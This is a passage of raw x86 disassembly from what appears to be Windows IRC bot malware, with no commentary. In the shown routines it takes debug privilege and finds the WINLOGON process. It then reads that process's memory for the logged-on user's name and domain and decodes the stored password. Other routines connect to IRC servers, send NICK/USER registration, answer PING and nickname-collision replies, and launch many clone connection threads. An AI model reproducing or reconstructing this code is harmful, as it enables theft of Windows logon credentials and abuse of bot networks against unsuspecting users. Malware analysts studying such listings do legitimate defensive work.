call dword_427120 ; FindNextFileA test eax, eax jnz short loc_4171BB loc_41722C: ; CODE XREF: sub_41716F+4Aj push [ebp+var_4] call dword_427000 ; FindClose push [ebp+arg_C] lea eax, [ebp+var_248] push [ebp+arg_10] push ebx push esi push eax call sub_41C360 add esp, 14h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi ; FindFirstFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4172B2 loc_417263: ; CODE XREF: sub_41716F+141j lea eax, [ebp+var_118] inc [ebp+arg_14] push eax lea eax, [ebp+var_54C] push [ebp+arg_10] push offset dword_438484 push 200h push eax call sub_41C360 push 1 lea eax, [ebp+var_54C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 28h lea eax, [ebp+var_144] push eax push esi call dword_427120 ; FindNextFileA test eax, eax jnz short loc_417263 loc_4172B2: ; CODE XREF: sub_41716F+F2j push esi call dword_427000 ; FindClose mov eax, [ebp+arg_14] pop edi pop esi pop ebx leave retn sub_41716F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4172C1 proc near ; DATA XREF: sub_401ACD+1C72o var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_41AE41 cmp eax, esi mov [ebp+var_4], eax jz short loc_417300 cmp eax, 2 jz short loc_417300 push offset unk_438678 jmp loc_41743F ; --------------------------------------------------------------------------- loc_417300: ; CODE XREF: sub_4172C1+2Ej ; sub_4172C1+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B9E pop ecx test eax, eax pop ecx jz loc_41743A push ebx push offset aNtdll_dll ; "NTDLL.DLL" call dword_4270C0 ; LoadLibraryA mov esi, dword_4270C4 mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi ; GetProcAddress push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_4D483C, eax call esi ; GetProcAddress push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_4D4830, eax call esi ; GetProcAddress push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_4D4A40, eax call esi ; GetProcAddress push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_4D4838, eax call esi ; GetProcAddress mov dword_4D4834, eax call sub_417493 test eax, eax mov [ebp+arg_0], eax jz loc_41740D mov esi, dword_427148 mov edi, 400h mov ebx, offset dword_4D3830 push edi push ebx push offset aUsername ; "USERNAME" call esi ; GetEnvironmentVariableW push edi mov edi, offset dword_4D4030 push edi push offset aUserdomain ; "USERDOMAIN" call esi ; GetEnvironmentVariableW cmp [ebp+var_4], 1 push offset dword_4D4A48 push [ebp+arg_0] jnz short loc_4173B9 call sub_41761C jmp short loc_4173BE ; --------------------------------------------------------------------------- loc_4173B9: ; CODE XREF: sub_4172C1+EFj call sub_4177C3 loc_4173BE: ; CODE XREF: sub_4172C1+F6j pop ecx test eax, eax pop ecx jz short loc_417406 cmp dword_4D4A48, 0 jnz short loc_4173ED push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_438540 push 200h push eax call sub_41C360 add esp, 18h jmp short loc_417420 ; --------------------------------------------------------------------------- loc_4173ED: ; CODE XREF: sub_4172C1+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_4173FD call sub_4178F9 jmp short loc_417402 ; --------------------------------------------------------------------------- loc_4173FD: ; CODE XREF: sub_4172C1+133j call sub_417990 loc_417402: ; CODE XREF: sub_4172C1+13Aj pop ecx push eax jmp short loc_417412 ; --------------------------------------------------------------------------- loc_417406: ; CODE XREF: sub_4172C1+101j push offset unk_438508 jmp short loc_417412 ; --------------------------------------------------------------------------- loc_41740D: ; CODE XREF: sub_4172C1+B6j push offset unk_4384DC loc_417412: ; CODE XREF: sub_4172C1+143j ; sub_4172C1+14Aj lea eax, [ebp+var_29C] push eax call sub_41C266 pop ecx pop ecx loc_417420: ; CODE XREF: sub_4172C1+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B9E pop ecx pop ecx push [ebp+var_8] call dword_427144 ; FreeLibrary pop ebx jmp short loc_41744D ; --------------------------------------------------------------------------- loc_41743A: ; CODE XREF: sub_4172C1+4Ej push offset unk_4384A8 loc_41743F: ; CODE XREF: sub_4172C1+3Aj lea eax, [ebp+var_29C] push eax call sub_41C266 pop ecx pop ecx loc_41744D: ; CODE XREF: sub_4172C1+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_417474 push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_409869 add esp, 14h loc_417474: ; CODE XREF: sub_4172C1+191j lea eax, [ebp+var_29C] push eax call sub_415D38 push [ebp+var_18] call sub_40B6D6 pop ecx pop ecx push esi call dword_4270D4 ; ExitThread pop edi pop esi sub_4172C1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_417493 proc near ; CODE XREF: sub_4172C1+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_427154 mov ebx, 100h push edi push ebx push 8 call esi ; GetProcessHeap mov edi, dword_427150 push eax call edi ; RtlAllocateHeap mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_4D483C push ebp push 0 call esi ; GetProcessHeap push eax call dword_42714C ; RtlFreeHeap push [esp+28h+var_14] push 8 call esi ; GetProcessHeap push eax call edi ; RtlAllocateHeap mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_4D483C test eax, eax jnz short loc_417580 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_417580 push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_417580 loc_41751C: ; CODE XREF: sub_417493+EBj cmp word ptr [ebx+8], 5 jnz short loc_417573 push 0 push 0 call dword_4D4830 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_4D4A40 test eax, eax jnz short loc_417564 mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_41DE4A pop ecx push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_417598 loc_417564: ; CODE XREF: sub_417493+AAj test edi, edi jz short loc_41756F push edi call dword_4D4838 loc_41756F: ; CODE XREF: sub_417493+D3j mov eax, [esp+28h+var_10] loc_417573: ; CODE XREF: sub_417493+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_41751C loc_417580: ; CODE XREF: sub_417493+6Dj ; sub_417493+7Aj ... xor edi, edi loc_417582: ; CODE XREF: sub_417493+17Dj push ebp push 0 call esi ; GetProcessHeap push eax call dword_42714C ; RtlFreeHeap mov eax, edi loc_417590: ; CODE XREF: sub_417493+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_417598: ; CODE XREF: sub_417493+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_417601 lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_4175AE: ; CODE XREF: sub_417493+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_41DE4A pop ecx push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_417615 push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_41DE4A pop ecx push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_4175F3 mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_4175F3: ; CODE XREF: sub_417493+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_4175AE loc_417601: ; CODE XREF: sub_417493+10Fj test edi, edi jz short loc_41760C push edi call dword_4D4838 loc_41760C: ; CODE XREF: sub_417493+170j mov edi, [esp+28h+var_4] jmp loc_417582 ; --------------------------------------------------------------------------- loc_417615: ; CODE XREF: sub_417493+13Cj xor eax, eax jmp loc_417590 sub_417493 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41761C proc near ; CODE XREF: sub_4172C1+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h call dword_42708C ; OpenProcess cmp eax, esi mov [ebp+var_4], eax jnz short loc_417645 xor eax, eax jmp loc_4177C0 ; --------------------------------------------------------------------------- loc_417645: ; CODE XREF: sub_41761C+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax call dword_427160 ; GetSystemInfo push [ebp+var_60] mov [ebp+var_8], esi mov esi, dword_427154 push 8 call esi ; GetProcessHeap mov edi, dword_427150 push eax call edi ; RtlAllocateHeap lea ecx, [ebp+var_8] mov ebx, dword_42715C push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx ; ReadProcessMemory test eax, eax jnz short loc_417695 xor esi, esi jmp loc_4177B3 ; --------------------------------------------------------------------------- loc_417695: ; CODE XREF: sub_41761C+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] call dword_427158 ; VirtualQueryEx test eax, eax jz loc_4177A2 mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_4177A2 test [ebp+var_2B], 1 jnz loc_4177A2 push [ebp+var_34] push 8 call esi ; GetProcessHeap push eax call edi ; RtlAllocateHeap mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx ; ReadProcessMemory test eax, eax jz loc_4177A2 loc_4176F8: ; CODE XREF: sub_41761C+112j push edi push offset dword_4D3830 call sub_4263E5 pop ecx test eax, eax pop ecx jnz short loc_417720 lea eax, [edi+200h] push eax push offset dword_4D4030 call sub_4263E5 pop ecx test eax, eax pop ecx jz short loc_417730 loc_417720: ; CODE XREF: sub_41761C+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_4177A2 jmp short loc_4176F8 ; --------------------------------------------------------------------------- loc_417730: ; CODE XREF: sub_41761C+102j test edi, edi jz short loc_4177A2 lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax call dword_42711C ; FileTimeToLocalFileTime test eax, eax jz short loc_41776B lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax call dword_427118 ; FileTimeToSystemTime test eax, eax jz short loc_41776B mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_41776B: ; CODE XREF: sub_41761C+12Bj ; sub_41761C+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_4D4A54, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_4D4A4C, eax mov dword_4D4A50, edi loc_4177A2: ; CODE XREF: sub_41761C+90j ; sub_41761C+A2j ... push [ebp+arg_0] push 0 call esi ; GetProcessHeap push eax call dword_42714C ; RtlFreeHeap mov esi, [ebp+var_10] loc_4177B3: ; CODE XREF: sub_41761C+74j push [ebp+var_4] call dword_427070 ; CloseHandle pop edi mov eax, esi pop ebx loc_4177C0: ; CODE XREF: sub_41761C+24j pop esi leave retn sub_41761C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4177C3 proc near ; CODE XREF: sub_4172C1:loc_4173B9p var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h call dword_42708C ; OpenProcess test eax, eax mov [ebp+arg_0], eax jz loc_4178B5 mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax call dword_427160 ; GetSystemInfo mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_4178AC mov edi, dword_427154 loc_41780E: ; CODE XREF: sub_4177C3+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] call dword_427158 ; VirtualQueryEx test eax, eax jz short loc_41789A mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_4178A0 test [ebp+var_13], 1 jnz short loc_4178A0 push ecx push 8 call edi ; GetProcessHeap push eax call dword_427150 ; RtlAllocateHeap mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] call dword_42715C ; ReadProcessMemory test eax, eax jz short loc_41788C push offset dword_4D3830 push esi call sub_4263E5 pop ecx test eax, eax pop ecx jnz short loc_41788C lea eax, [esi+400h] push offset dword_4D4030 push eax call sub_4263E5 pop ecx test eax, eax pop ecx jz short loc_4178BC loc_41788C: ; CODE XREF: sub_4177C3+9Fj ; sub_4177C3+B0j push esi push 0 call edi ; GetProcessHeap push eax call dword_42714C ; RtlFreeHeap jmp short loc_4178A0 ; --------------------------------------------------------------------------- loc_41789A: ; CODE XREF: sub_4177C3+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_4178A0: ; CODE XREF: sub_4177C3+71j ; sub_4177C3+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_41780E loc_4178AC: ; CODE XREF: sub_4177C3+3Fj push [ebp+arg_0] call dword_427070 ; CloseHandle loc_4178B5: ; CODE XREF: sub_4177C3+1Ej xor eax, eax loc_4178B7: ; CODE XREF: sub_4177C3+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4178BC: ; CODE XREF: sub_4177C3+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_4D4A4C, ebx mov dword_4D4A50, eax cmp [eax], cl jnz short loc_4178DE cmp [eax+1], cl jz short loc_4178E6 loc_4178DE: ; CODE XREF: sub_4177C3+114j ; sub_4177C3+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_4178DE loc_4178E6: ; CODE XREF: sub_4177C3+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx call dword_427070 ; CloseHandle push 1 pop eax jmp short loc_4178B7 sub_4177C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4178F9 proc near ; CODE XREF: sub_4172C1+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4D4A48 push esi mov esi, dword_427154 push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi ; GetProcessHeap push eax call dword_427150 ; RtlAllocateHeap mov ecx, dword_4D4A48 mov [ebp+var_4], eax add ecx, ecx push ecx push dword_4D4A50 push eax call sub_41CD20 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_4D4A54 push eax call dword_4D4834 push [ebp+var_4] mov edi, offset dword_4D4840 push offset dword_4D3830 push offset dword_4D4030 push [ebp+arg_0] push offset dword_4386C4 push 200h push edi call sub_41C360 add esp, 1Ch push [ebp+var_4] push 0 call esi ; GetProcessHeap push eax call dword_42714C ; RtlFreeHeap mov eax, edi pop edi pop esi leave retn sub_4178F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417990 proc near ; CODE XREF: sub_4172C1:loc_4173FDp var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_4D4A48 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 call dword_427154 ; GetProcessHeap push eax call dword_427150 ; RtlAllocateHeap and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_4D4030 mov edi, 200h mov esi, offset dword_4D3630 loc_4179D6: ; CODE XREF: sub_417990+FAj mov eax, dword_4D4A48 add eax, eax push eax push dword_4D4A50 push [ebp+var_14] call sub_41CD20 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_4D4834 mov eax, dword_4D4A48 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_417A4B loc_417A13: ; CODE XREF: sub_417990+B3j cmp [ebp+var_8], 0 jz short loc_417A68 mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_417A37 cmp byte ptr [ecx+1], 0 jnz short loc_417A37 cmp dl, 20h jnb short loc_417A31 and [ebp+var_8], 0 loc_417A31: ; CODE XREF: sub_417990+9Bj cmp [ebp+var_1], 7Eh jbe short loc_417A3B loc_417A37: ; CODE XREF: sub_417990+90j ; sub_417990+96j and [ebp+var_8], 0 loc_417A3B: ; CODE XREF: sub_417990+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_417A13 cmp [ebp+var_8], 0 jz short loc_417A68 loc_417A4B: ; CODE XREF: sub_417990+81j push [ebp+var_14] push offset dword_4D3830 push ebx push [ebp+arg_0] push offset dword_4386C4 push edi push esi call sub_41C360 add esp, 1Ch jmp short loc_417A80 ; --------------------------------------------------------------------------- loc_417A68: ; CODE XREF: sub_417990+87j ; sub_417990+B9j push offset dword_4D3830 push ebx push [ebp+arg_0] push offset dword_438714 push edi push esi call sub_41C360 add esp, 18h loc_417A80: ; CODE XREF: sub_417990+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_4179D6 push [ebp+var_14] push 0 call dword_427154 ; GetProcessHeap push eax call dword_42714C ; RtlFreeHeap mov eax, esi pop edi pop esi pop ebx leave retn sub_417990 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417AA9 proc near ; CODE XREF: sub_417C61+2Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CBA54 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_417B25 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CB9D4 ; htons push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CBA14 ; inet_addr cmp eax, esi jnz short loc_417B0A push [ebp+arg_0] call dword_4CBA58 ; gethostbyname test eax, eax jz short loc_417B25 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_417B0A: ; CODE XREF: sub_417AA9+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CB97C ; connect cmp eax, esi jnz short loc_417B29 push edi call dword_4CBA6C ; closesocket loc_417B25: ; CODE XREF: sub_417AA9+1Bj ; sub_417AA9+58j mov eax, esi jmp short loc_417B2B ; --------------------------------------------------------------------------- loc_417B29: ; CODE XREF: sub_417AA9+73j mov eax, edi loc_417B2B: ; CODE XREF: sub_417AA9+7Ej pop edi pop esi leave retn sub_417AA9 endp ; =============== S U B R O U T I N E ======================================= sub_417B2F proc near ; CODE XREF: sub_401ACD+324Cp ; sub_401ACD+32B6p ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push offset asc_42A080 ; "\n" push edi call sub_41C8A0 pop ecx mov esi, offset dword_4D4A5C pop ecx loc_417B47: ; CODE XREF: sub_417B2F+42j cmp dword ptr [esi-4], 1 jnz short loc_417B65 cmp dword ptr [esi], 0 jbe short loc_417B65 push 0 push edi call sub_41B9C0 pop ecx push eax push edi push dword ptr [esi] call dword_4CBA24 ; send loc_417B65: ; CODE XREF: sub_417B2F+1Cj ; sub_417B2F+21j add esi, 210h cmp esi, offset dword_4DB17C jl short loc_417B47 pop edi pop esi retn sub_417B2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417B76 proc near ; CODE XREF: sub_417C61+155p var_420 = byte ptr -420h var_220 = byte ptr -220h var_20 = dword ptr -20h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi mov esi, offset asc_42CDC0 ; " " push edi push esi push [ebp+arg_0] call sub_41CAD4 pop ecx mov [ebp+var_20], eax pop ecx lea edi, [ebp+var_1C] push 7 pop ebx loc_417B9B: ; CODE XREF: sub_417B76+35j push esi push 0 call sub_41CAD4 mov [edi], eax pop ecx add edi, 4 dec ebx pop ecx jnz short loc_417B9B mov esi, [ebp+var_1C] xor edi, edi cmp [ebp+var_20], edi jnz short loc_417BC3 cmp esi, edi jnz short loc_417BC3 push 1 pop eax jmp loc_417C5C ; --------------------------------------------------------------------------- loc_417BC3: ; CODE XREF: sub_417B76+3Fj ; sub_417B76+43j push [ebp+var_20] push offset aPing ; "PING" call sub_41CA50 pop ecx pop ecx test eax, eax push esi jnz short loc_417BDE push offset dword_43932C jmp short loc_417C2C ; --------------------------------------------------------------------------- loc_417BDE: ; CODE XREF: sub_417B76+5Fj push offset a433 ; "433" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_417BFF push esi push offset dword_439328 call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_417C5A loc_417BFF: ; CODE XREF: sub_417B76+76j push 200h lea eax, [ebp+var_420] push edi push eax call sub_41BF70 lea eax, [ebp+var_420] push eax call sub_417E84 add esp, 10h lea eax, [ebp+var_420] push eax push offset dword_43931C loc_417C2C: ; CODE XREF: sub_417B76+66j lea eax, [ebp+var_220] push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_220] push edi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_220] push eax push [ebp+arg_4] call dword_4CBA24 ; send loc_417C5A: ; CODE XREF: sub_417B76+87j xor eax, eax loc_417C5C: ; CODE XREF: sub_417B76+48j pop edi pop esi pop ebx leave retn sub_417B76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C61 proc near ; DATA XREF: sub_417E06+61o var_4008 = byte ptr -4008h var_3008 = byte ptr -3008h var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call sub_41C500 push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 210h push 1 pop edi lea eax, dword_4D4A64[esi] mov dword_4D4A58[esi], edi push dword_4D4C64[esi] push eax call sub_417AA9 pop ecx xor ebx, ebx cmp eax, edi pop ecx mov dword_4D4A5C[esi], eax jb loc_417DE6 mov edi, 1000h lea eax, [ebp+var_2008] push edi push ebx push eax call sub_41BF70 lea eax, [ebp+var_2008] push eax call sub_417E84 lea eax, [ebp+var_4008] push eax call sub_417E84 lea eax, [ebp+var_3008] push eax call sub_417E84 add esp, 18h lea eax, [ebp+var_3008] push eax lea eax, [ebp+var_4008] push eax lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."... push eax call sub_41C266 add esp, 14h lea eax, [ebp+var_1008] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_4D4A5C[esi] call dword_4CBA24 ; send push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41BF70 add esp, 0Ch loc_417D3D: ; CODE XREF: sub_417C61+111j ; sub_417C61+180j push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_1008] push ebx push edi push eax push dword_4D4A5C[esi] call dword_4CB9EC ; recv cmp eax, ebx mov [ebp+var_8], eax jle short loc_417DE6 xor eax, eax cmp [ebp+var_8], ebx mov [ebp+var_4], eax jz short loc_417D3D loc_417D74: ; CODE XREF: sub_417C61+17Ej mov al, [ebp+eax+var_1008] cmp al, 0Dh jz short loc_417D9B cmp al, 0Ah jz short loc_417D9B cmp [ebp+arg_0], 0FA0h jz short loc_417D9B mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+var_2008], al jmp short loc_417DD5 ; --------------------------------------------------------------------------- loc_417D9B: ; CODE XREF: sub_417C61+11Cj ; sub_417C61+120j ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_417DD5 push dword_4D4A5C[esi] mov [ebp+eax+var_2008], bl lea eax, [ebp+var_2008] push eax call sub_417B76 pop ecx test eax, eax pop ecx ja short loc_417DE6 push edi lea eax, [ebp+var_2008] push ebx push eax call sub_41BF70 add esp, 0Ch mov [ebp+arg_0], ebx loc_417DD5: ; CODE XREF: sub_417C61+138j ; sub_417C61+13Fj mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] mov [ebp+var_4], eax jnz short loc_417D74 jmp loc_417D3D ; --------------------------------------------------------------------------- loc_417DE6: ; CODE XREF: sub_417C61+40j ; sub_417C61+107j ... mov dword_4D4A58[esi], ebx mov esi, dword_4D4A5C[esi] cmp esi, ebx jbe short loc_417DFD push esi call dword_4CBA6C ; closesocket loc_417DFD: ; CODE XREF: sub_417C61+193j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_417C61 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417E06 proc near ; CODE XREF: sub_401ACD+319Bp var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_8], ebx push esi push edi mov [ebp+var_4], ebx jle short loc_417E7F loc_417E18: ; CODE XREF: sub_417E06+77j xor edi, edi mov eax, offset dword_4D4A58 loc_417E1F: ; CODE XREF: sub_417E06+28j cmp [eax], ebx jz short loc_417E30 add eax, 210h inc edi cmp eax, offset dword_4DB178 jl short loc_417E1F loc_417E30: ; CODE XREF: sub_417E06+1Bj cmp edi, 31h jz short loc_417E7F mov esi, edi push [ebp+arg_0] imul esi, 210h lea eax, dword_4D4A64[esi] push eax call sub_41C890 mov eax, [ebp+arg_4] pop ecx mov dword_4D4C64[esi], eax pop ecx lea eax, [ebp+var_8] mov dword_4D4A58[esi], 1 push eax push ebx push edi push offset sub_417C61 push ebx push ebx call dword_427084 ; CreateThread inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_417E18 loc_417E7F: ; CODE XREF: sub_417E06+10j ; sub_417E06+2Dj pop edi pop esi pop ebx leave retn sub_417E06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417E84 proc near ; CODE XREF: sub_401ACD+36FDp ; sub_401ACD+3747p ... var_40 = byte ptr -40h var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h lea eax, [ebp+var_2C] push 0 push eax call sub_41BF70 add esp, 0Ch call sub_41C2C2 mov [ebp+var_C], eax fild [ebp+var_C] fmul dbl_4276D8 call sub_41D174 cmp eax, 1 jnz short loc_417ECE call sub_41C2C2 call sub_41C2C2 push 66h cdq pop ecx idiv ecx push off_438A68[edx*4] jmp short loc_417EE7 ; --------------------------------------------------------------------------- loc_417ECE: ; CODE XREF: sub_417E84+2Fj call sub_41C2C2 call sub_41C2C2 cdq mov ecx, 0C0h idiv ecx push off_438768[edx*4] loc_417EE7: ; CODE XREF: sub_417E84+48j lea eax, [ebp+var_2C] push eax call sub_41C890 pop ecx lea eax, [ebp+var_2C] pop ecx push ebx push esi push edi push eax call sub_41B9C0 pop ecx mov esi, eax push 13h mov [ebp+var_4], esi pop eax sub eax, esi mov [ebp+var_C], eax call sub_41C2C2 